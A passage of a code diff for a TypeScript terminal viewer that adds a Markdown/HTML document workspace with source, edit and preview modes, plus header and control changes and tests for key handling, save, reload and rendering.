'edit') { setDocumentMode(state, 'edit'); return undefined; } + if (action.kind === 'open') return {kind: 'open', path: action.path}; + if (action.kind === 'image') return {kind: 'image', index: action.index}; + return undefined; +} + +function fromEditor(state: DocumentSession, action: EditorAction | undefined): DocumentSessionAction | undefined { + if (!action) return undefined; + if (action.kind === 'close') return {kind: 'close'}; + if (action.kind === 'save') return {kind: 'save', ...(action.force ? {force: true} : {}), ...(action.thenClose ? {thenClose: true} : {})}; + if (action.kind === 'reload') return {kind: 'reload'}; + return {kind: 'copy', text: action.text}; +} + +/** The look the viewer needs in a workspace: its controls name the workspace's keys. */ +export function documentSessionLook(state: DocumentSession, look: ViewerLook = {}): ViewerLook { + return {...look, workspace: {mode: state.mode === 'preview' ? 'preview' : 'source', dirty: state.editor.buffer.dirty, browser: Boolean(state.preview), trusted: state.trusted}}; +} + +export function renderDocumentSession(state: DocumentSession, columns: number, height: number, look: ViewerLook = {}): string[] { + state.overlays = []; + const editor = state.editor; + if (state.mode === 'edit' || editor.dialog) return renderEditor(editor, columns, height); + if (state.mode === 'preview' && state.preview) { + const view = state.preview.render(columns, height); + state.overlays = view.overlays ?? []; + return view.rows; + } + if (state.note) state.viewer.note = state.note; + const rows = renderViewer(state.viewer, columns, height, documentSessionLook(state, look)); + state.overlays = state.viewer.overlays ?? []; + return rows; +} diff --git a/src/viewer/ImagePanel.ts b/src/viewer/ImagePanel.ts index 94b31995..4936e233 100644 --- a/src/viewer/ImagePanel.ts +++ b/src/viewer/ImagePanel.ts @@ -40,6 +40,8 @@ export interface ImageViewState { pan: {x: number; y: number}; /** Where Esc returns to: the document this image was opened from. */ returnTo?: ViewerState; + /** Or the document session (source/edit/preview of one buffer) it was opened from; kept as it was, edits included. */ + returnToSession?: unknown; note?: string; /** The owner of this viewer's placements. */ readonly owner: object; diff --git a/src/viewer/ViewerPanel.ts b/src/viewer/ViewerPanel.ts index 61f45da6..98a81a4d 100644 --- a/src/viewer/ViewerPanel.ts +++ b/src/viewer/ViewerPanel.ts @@ -73,6 +73,8 @@ export interface ViewerLook { images?: ImageProvider & {count: number; version: number}; /** Headings may be drawn as sized blocks (the app places them); the cache key includes this. */ sized?: boolean; + /** The viewer is the read-only side of a document workspace (Markdown/HTML): its controls name the workspace's keys. */ + workspace?: {mode: 'source' | 'preview'; dirty: boolean; browser: boolean; trusted: boolean}; } export function createViewer(document: ViewDocument): ViewerState { @@ -454,14 +456,15 @@ function detail(document: ViewDocument): string { return `${kind} · ${lines} · ${formatBytes(document.origin.bytes)}${ending}${link}`; } -function headerRows(state: ViewerState, columns: number, height: number): string[] { +function headerRows(state: ViewerState, columns: number, height: number, look: ViewerLook = {}): string[] { const width = Math.max(10, columns - 4); const primary = foreground(UI_COLORS.primary); const subtle = foreground(UI_COLORS.subtle); const warning = foreground(UI_COLORS.warning); const title = state.document.origin.kind === 'output' ? `$ ${state.document.title}` : state.document.title; const shownTitle = truncateText(title.replace(/[\u0000-\u001f\u007f-\u009f\p{Cf}]/gu, '·'), Math.max(8, Math.floor(width * 0.6))); - const rows = [` ${primary}${shownTitle}${RESET} ${subtle}${truncateText(detail(state.document), Math.max(1, width - displayWidth(shownTitle) - 2))}${RESET}`]; + const edited = look.workspace?.dirty ? ` ${warning}● edited${RESET}` : ''; + const rows = [` ${primary}${shownTitle}${RESET}${edited} ${subtle}${truncateText(detail(state.document), Math.max(1, width - displayWidth(shownTitle) - (edited ? 10 : 0) - 2))}${RESET}`]; const notes = height >= 12 ? state.document.notes.slice(0, 2) : []; for (const note of notes) rows.push(` ${warning}${truncateText(note, width)}${RESET}`); return rows; @@ -470,6 +473,15 @@ function headerRows(state: ViewerState, columns: number, height: number): string function controls(state: ViewerState, columns: number, look: ViewerLook): string[] { const width = Math.max(1, columns - 4); if (state.input) return renderControlRows([['Enter', state.input.kind === 'search' ? 'find' : 'go'], ['Esc', 'cancel']], width); + if (look.workspace) { + const preview = look.workspace.mode === 'preview'; + return renderControlRows([ + ['↑↓', 'scroll'], ['/', 'find'], ...(preview ? [] : [[':', 'line'] as const]), + ['h', preview ? 'source' : 'preview'], ['e', 'edit'], ...(preview ? [['r', 'refresh'] as const] : []), + ...(preview && state.rendered && look.images?.count ? [['i', 'images'] as const] : []), + ['Ctrl+S', 'save'], ['R', 'reload from disk'], ['Esc', preview ? 'source' : 'close'], + ], width); + } return renderControlRows([ ['↑↓', 'scroll'], ['/', 'find'], ...(state.query ? [['n/N', 'next/previous'] as const] : []), [':', 'line'], ...(renders(state.document) ? [['m', state.rendered ? 'source' : 'rendered'] as const] : []), @@ -480,7 +492,7 @@ function controls(state: ViewerState, columns: number, look: ViewerLook): string } function bodyHeight(state: ViewerState, columns: number, height: number, look: ViewerLook): number { - return Math.max(1, height - 2 - headerRows(state, columns, height).length - 1 - controls(state, columns, look).length); + return Math.max(1, height - 2 - headerRows(state, columns, height, look).length - 1 - controls(state, columns, look).length); } function statusRow(state: ViewerState, width: number, total: number): string { @@ -504,7 +516,7 @@ export function renderViewer(state: ViewerState, columns: number, height: number const gutter = gutterWidth(state); const body = bodyHeight(state, columns, height, look); clampTop(state, width, body, look); - const out = headerRows(state, columns, height); + const out = headerRows(state, columns, height, look); const total = unitCount(state, width, look); const subtle = foreground(UI_COLORS.subtle); const rows: string[] = []; diff --git a/tests/documentWorkspace.test.ts b/tests/documentWorkspace.test.ts new file mode 100644 index 00000000..fc72f186 --- /dev/null +++ b/tests/documentWorkspace.test.ts @@ -0,0 +1,167 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import type {Key} from '../src/terminal/keys.js'; +import type {EditableFile} from '../src/viewer/fileEdit.js'; +import {bufferText, createDocumentSession, renderDocumentSession, setDocumentMode, documentSessionKey, type PreviewView, type DocumentSessionAction, type DocumentSession} from '../src/viewer/DocumentWorkspace.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; + +const file = (lines: string[], path = '/work/page.html'): EditableFile => ({ + path, realPath: path, title: 'page.html', lineEnding: 'lf', bom: false, finalNewline: true, lines, + identity: {dev: 1, ino: 2, size: 10, mtimeMs: 1000, hash: 'x'}, +}); +const HTML = ['

Title

', '

Hello world

', '
  • one
  • two
']; +const text = (value: string): Key => ({kind: 'text', value}); +const W = 100; +const H = 30; +const press = (state: DocumentSession, key: Key): DocumentSessionAction | undefined => documentSessionKey(state, key, W, H); +const type = (state: DocumentSession, value: string) => { for (const char of value) press(state, text(char)); }; +const screen = (state: DocumentSession) => renderDocumentSession(state, W, H).map(row => stripAnsi(row)).join('\n'); + +test('navigation keys act only in navigation modes; while typing, h, e and r are text', () => { + const state = createDocumentSession(file(HTML)); + assert.equal(state.mode, 'source'); + press(state, text('e')); + assert.equal(state.mode, 'edit'); + type(state, 'heR'); + assert.equal(state.mode, 'edit', 'typing never switches mode'); + assert.equal(state.editor.buffer.lines[0], 'heR

Title

'); + assert.equal(state.editor.buffer.dirty, true); + press(state, {kind: 'escape'}); + assert.equal(state.mode, 'source', 'Esc leaves typing for navigation without closing or discarding'); + assert.equal(state.editor.buffer.lines[0], 'heR

Title

', 'the unsaved text is still there'); + assert.deepEqual(press(state, text('h')), {kind: 'preview', refresh: false}); + assert.equal(state.mode, 'preview'); +}); + +test('Ctrl+O is the switch that works while typing, and returns to where the preview came from', () => { + const state = createDocumentSession(file(HTML), 'edit'); + type(state, 'abc'); + assert.deepEqual(press(state, {kind: 'toggleDetails'}), {kind: 'preview', refresh: false}); + assert.equal(state.mode, 'preview'); + assert.equal(state.before, 'edit'); + press(state, {kind: 'toggleDetails'}); + assert.equal(state.mode, 'edit'); + assert.equal(state.editor.buffer.lines[0], 'abc

Title

'); + const fromSource = createDocumentSession(file(HTML)); + press(fromSource, text('h')); + press(fromSource, {kind: 'toggleDetails'}); + assert.equal(fromSource.mode, 'source'); +}); + +test('preview shows the current buffer, unsaved, and never saves; undo history and caret survive the round trip', () => { + const state = createDocumentSession(file(HTML), 'edit'); + state.editor.buffer.bufferEnd(); + type(state, '

UNSAVED-MARK

'); + const before = state.editor.buffer.lines.slice(); + const actions: Array = []; + actions.push(press(state, {kind: 'toggleDetails'})); + assert.ok(actions.every(action => action?.kind !== 'save'), 'switching to the preview does not save'); + assert.match(screen(state), /UNSAVED-MARK/u, 'the native preview draws the unsaved text'); + assert.equal(state.viewer.document.text.includes('UNSAVED-MARK'), true); + actions.push(press(state, {kind: 'toggleDetails'})); + assert.deepEqual(state.editor.buffer.lines, before); + const caret = state.editor.buffer.caret; + assert.deepEqual(caret.line, before.length - 1); + assert.equal(state.editor.buffer.undo(), true, 'the undo history is the same buffer\'s'); + assert.notDeepEqual(state.editor.buffer.lines, before); +}); + +test('Esc: from preview to source; from source to close, asking first when there are unsaved changes; Keep editing returns', () => { + const state = createDocumentSession(file(HTML)); + press(state, text('h')); + press(state, {kind: 'escape'}); + assert.equal(state.mode, 'source'); + assert.deepEqual(press(state, {kind: 'escape'}), {kind: 'close'}, 'clean: closes at once'); + const dirty = createDocumentSession(file(HTML), 'edit'); + type(dirty, 'x'); + press(dirty, {kind: 'escape'}); + assert.equal(dirty.mode, 'source'); + assert.equal(press(dirty, {kind: 'escape'}), undefined); + assert.equal(dirty.editor.dialog?.kind, 'unsaved'); + assert.match(screen(dirty), /unsaved changes/u); + press(dirty, {kind: 'escape'}); + assert.equal(dirty.editor.dialog, undefined, 'Keep editing'); + assert.equal(dirty.mode, 'source'); + press(dirty, text('q')); + assert.deepEqual(press(dirty, text('d')), {kind: 'close'}, 'Discard closes'); +}); + +test('save is Ctrl+S in every mode; reload from disk asks first when the buffer was edited', () => { + for (const mode of ['source', 'edit', 'preview'] as const) { + const state = createDocumentSession(file(HTML), mode === 'preview' ? 'source' : mode); + if (mode === 'preview') press(state, text('h')); + assert.deepEqual(press(state, {kind: 'sendToProgram'}), {kind: 'save'}, mode); + } + const clean = createDocumentSession(file(HTML)); + assert.deepEqual(press(clean, text('R')), {kind: 'reload'}); + const edited = createDocumentSession(file(HTML), 'edit'); + type(edited, 'y'); + press(edited, {kind: 'escape'}); + assert.equal(press(edited, text('R')), undefined); + assert.match(screen(edited), /Reloading from disk discards them/u); + press(edited, {kind: 'escape'}); + assert.equal(edited.editor.dialog, undefined); + assert.equal(edited.editor.buffer.lines[0], 'y

Title

', 'declining keeps the edits'); +}); + +test('r refreshes the preview and says so in source; scroll positions are kept per mode', () => { + const long = Array.from({length: 120}, (_, index) => `

line ${index}

`); + const state = createDocumentSession(file(long)); + assert.equal(press(state, text('r')), undefined); + assert.match(state.note ?? '', /preview shows the current text each time/u); + for (let step = 0; step < 15; step += 1) press(state, {kind: 'down'}); + const sourceTop = state.viewer.top; + assert.ok(sourceTop > 0); + press(state, text('h')); + assert.equal(state.viewer.top, 0, 'the preview starts at its own top'); + for (let step = 0; step < 5; step += 1) press(state, {kind: 'down'}); + const previewTop = state.viewer.top; + assert.deepEqual(press(state, text('r')), {kind: 'preview', refresh: true}); + assert.equal(state.viewer.top, previewTop, 'refreshing keeps the place'); + press(state, text('h')); + assert.equal(state.viewer.top, sourceTop, 'back in source, the place is found again'); +}); + +test('a browser preview owns scrolling and zoom in preview mode; the workspace keeps its own keys', () => { + const state = createDocumentSession(file(HTML)); + const keys: Key[] = []; + let disposed = false; + const preview: PreviewView = {render: (columns, height) => ({rows: Array.from({length: height}, () => ' '.repeat(columns))}), key: key => { keys.push(key); }, dispose: () => { disposed = true; }, status: () => undefined}; + press(state, text('h')); + state.preview = preview; + press(state, text('j')); + press(state, text('+')); + assert.deepEqual(keys.map(key => key.kind === 'text' ? key.value : key.kind), ['j', '+']); + press(state, text('e')); + assert.equal(state.mode, 'edit', 'e still edits'); + press(state, {kind: 'toggleDetails'}); + assert.equal(keys.length, 2); + const rows = renderDocumentSession(state, W, H); + assert.equal(rows.length, H); + assert.equal(disposed, false); +}); + +test('every mode draws within the panel at many sizes', () => { + const state = createDocumentSession(file(HTML)); + for (const mode of ['source', 'edit', 'preview'] as const) { + setDocumentMode(state, mode); + for (const [columns, height] of [[30, 8], [40, 12], [60, 16], [100, 30], [200, 60]] as const) { + const rows = renderDocumentSession(state, columns, height); + assert.ok(rows.length <= height, `${mode} ${columns}x${height}: ${rows.length} rows`); + for (const row of rows) assert.ok(displayWidth(stripAnsi(row)) <= columns, `${mode} ${columns}x${height}: ${stripAnsi(row)}`); + } + } + assert.equal(bufferText(state.editor), HTML.join('\n')); +}); + +test('the workspace header marks unsaved edits and the controls name the workspace keys', () => { + const state = createDocumentSession(file(HTML), 'edit'); + type(state, 'z'); + press(state, {kind: 'escape'}); + const text = screen(state); + assert.match(text, /● edited/u); + for (const label of ['h preview', 'e edit', 'Ctrl+S save', 'R reload from disk', 'Esc close']) assert.match(text, new RegExp(label.replace(/[+]/gu, '\\+'), 'u'), label); + press(state, {kind: 'text', value: 'h'}); + const preview = screen(state); + for (const label of ['h source', 'e edit', 'r refresh', 'Esc source']) assert.match(preview, new RegExp(label, 'u'), label); +}); diff --git a/tests/documentWorkspaceApp.test.ts b/tests/documentWorkspaceApp.test.ts new file mode 100644 index 00000000..85f59cfa --- /dev/null +++ b/tests/documentWorkspaceApp.test.ts @@ -0,0 +1,141 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {chmodSync, mkdtempSync, readFileSync, rmSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {encodePng} from '../src/graphics/pngEncode.js'; +import {stripAnsi} from '../src/util/text.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +const settle = async (until: () => boolean) => { for (let i = 0; i < 300 && !until(); i += 1) await new Promise(done => setTimeout(done, 10)); }; + +function fixture() { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'doc-ws-')); + const frame = executionFrameFixture(110, 40); + const app = frame.app; + app['shellCwd'] = dir; + const screen = () => frame.capture().frame.rows.map(row => stripAnsi(row)).join('\n'); + const key = (value: Parameters[0]) => app['handleKey'](value); + const type = (text: string) => { for (const char of text) key({kind: 'text', value: char}); }; + const view = async (target: string) => { app['openViewer'](target, `/view ${target}`); await settle(() => Boolean(app['docSession'] || app['viewer'] || app['imageView'])); }; + const edit = async (target: string) => { await app['runSlash'](`/edit ${target}`, {kind: 'editFile', target}); await settle(() => Boolean(app['docSession'] || app['textEditor'])); }; + return {dir, app, frame, screen, key, type, view, edit, done: () => { frame.dispose(); rmSync(dir, {recursive: true, force: true}); }}; +} +const read = (dir: string, name: string) => readFileSync(join(dir, name)); + +test('/edit page.html opens the editor on the workspace directly; Ctrl+S writes atomically keeping BOM and CRLF', async () => { + const f = fixture(); + try { + const original = Buffer.concat([Buffer.from([0xef, 0xbb, 0xbf]), Buffer.from('

Hi

\r\n

there

\r\n')]); + writeFileSync(join(f.dir, 'page.html'), original); + await f.edit('page.html'); + assert.equal(f.app['docSession'].mode, 'edit'); + assert.equal(f.app['textEditor'], undefined, 'the same editor, inside the workspace'); + f.type('